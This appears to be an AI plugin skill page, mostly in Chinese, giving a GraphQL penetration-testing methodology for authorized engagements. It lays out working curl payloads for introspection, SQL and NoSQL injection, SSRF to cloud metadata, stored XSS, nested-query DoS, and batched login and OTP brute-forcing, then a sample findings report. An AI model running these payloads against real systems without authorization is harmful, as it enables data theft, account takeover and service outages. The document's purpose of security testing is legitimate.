Assesses GraphQL API endpoints for introspection leaks, injection attacks, authorization defects, and DoS vulnerabilities during authorized pentests.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试期间,当目标应用程序使用 GraphQL API 时
Assesses GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and DoS vulnerabilities during authorized penetration tests on SPAs, mobile backends, and microservices.
Assesses GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and DoS vulnerabilities using discovery, introspection, and pentest tools during authorized tests.
Performs GraphQL introspection attacks to extract full API schemas, identify sensitive queries/mutations, test depth/complexity limits, and exploit batch/alias brute-force/nested DoS vulnerabilities.
Share bugs, ideas, or general feedback.
定位 GraphQL 端点并确认 GraphQL 正在运行。
# 常见 GraphQL 端点路径
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# 检查 GraphQL IDE(GraphiQL、Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# 指纹识别 GraphQL 引擎
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
# 响应因引擎而异:Apollo 返回"Query",Hasura 返回"query_root"
# 检查 WebSocket GraphQL 订阅
# ws://target.example.com/graphql(或 wss://)
提取完整的 GraphQL 模式以了解 API 表面。
# 完整内省查询
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# 综合内省查询
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# 如果内省被禁用,使用 clairvoyance 进行模式枚举
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# 使用 GraphQL Voyager 可视化模式
# 将 schema.json 上传到 https://graphql-kit.com/graphql-voyager/
验证访问控制是否在字段和对象级别强制执行。
# 测试查询所有用户(应需要管理员权限)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# 测试访问自己账户上的敏感字段
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# 测试变更授权(使用用户令牌执行仅管理员操作)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# 无认证测试
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。
# GraphQL 参数中的 SQL 注入
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL 注入(MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# 通过 GraphQL 测试 SSRF
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# 通过变更测试存储型 XSS
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL 指令注入
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
评估查询复杂度限制和资源消耗控制。
# 深度嵌套攻击(查询深度)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# 宽度攻击(请求多个字段)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# 批量查询攻击
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# 基于片段的循环引用
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# 测试无界分页
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
使用查询批量来暴力破解凭据或绕过速率限制。
# 批量登录尝试以绕过速率限制
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# 批量 OTP 验证尝试
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# 基于别名的批量(相同操作,不同别名)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
| 概念 | 定义 |
|---|---|
| 内省(Introspection) | 公开完整模式、类型、字段和变更的 GraphQL 功能 |
| 查询深度(Query Depth) | GraphQL 查询的嵌套级别;深度过大的查询可能导致 DoS |
| 查询复杂度(Query Complexity) | 根据查询中每个字段的解析成本计算的分数 |
| 批量请求(Batching) | 在单个 HTTP 请求中发送多个查询以并行执行 |
| 别名(Aliases) | 允许以不同参数多次查询同一字段的 GraphQL 功能 |
| 片段(Fragments) | 可重用的字段选择,如果不验证可能导致循环引用 |
| N+1 问题(N+1 Problem) | 未优化的解析器导致嵌套字段指数级数据库查询 |
| 字段级授权(Field-level Authorization) | 应用于单个字段而非整个类型的访问控制 |
| 工具 | 用途 |
|---|---|
| InQL(Burp 扩展) | Burp Suite 的 GraphQL 内省扫描器和查询生成器 |
| GraphQL Voyager | 交互式模式可视化工具 |
| Altair GraphQL Client | 用于构造和测试查询的桌面 GraphQL IDE |
| clairvoyance | 禁用内省时的模式枚举工具 |
| graphql-cop | GraphQL 安全审计工具(pip install graphql-cop) |
| BatchQL | 用于速率限制绕过的 GraphQL 批量攻击工具 |
生产环境启用了内省,泄露了 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为进一步攻击提供了完整的路线图。
User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。
GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。
社交网络 API 允许查询 friends { friends { friends { ... } } } 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询,造成拒绝服务。
## GraphQL 安全评估报告
**目标**:https://target.example.com/graphql
**引擎**:Apollo Server 4.x
**评估日期**:2024-01-15
### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过(需要自定义头部) |
### 严重:通过 user 查询的 SQL 注入
**位置**:`user(name: String)` 查询参数
**载荷**:`{ user(name: "' OR 1=1--") { id email role } }`
**影响**:通过 GraphQL 接口完全读取数据库
### 高:批量认证绕过
**位置**:POST /graphql(数组请求体)
**载荷**:单个请求中包含 100 个登录变更的数组
**影响**:速率限制被绕过;每个 HTTP 请求可尝试 100 个密码
### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制(最大 7-10 层)
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理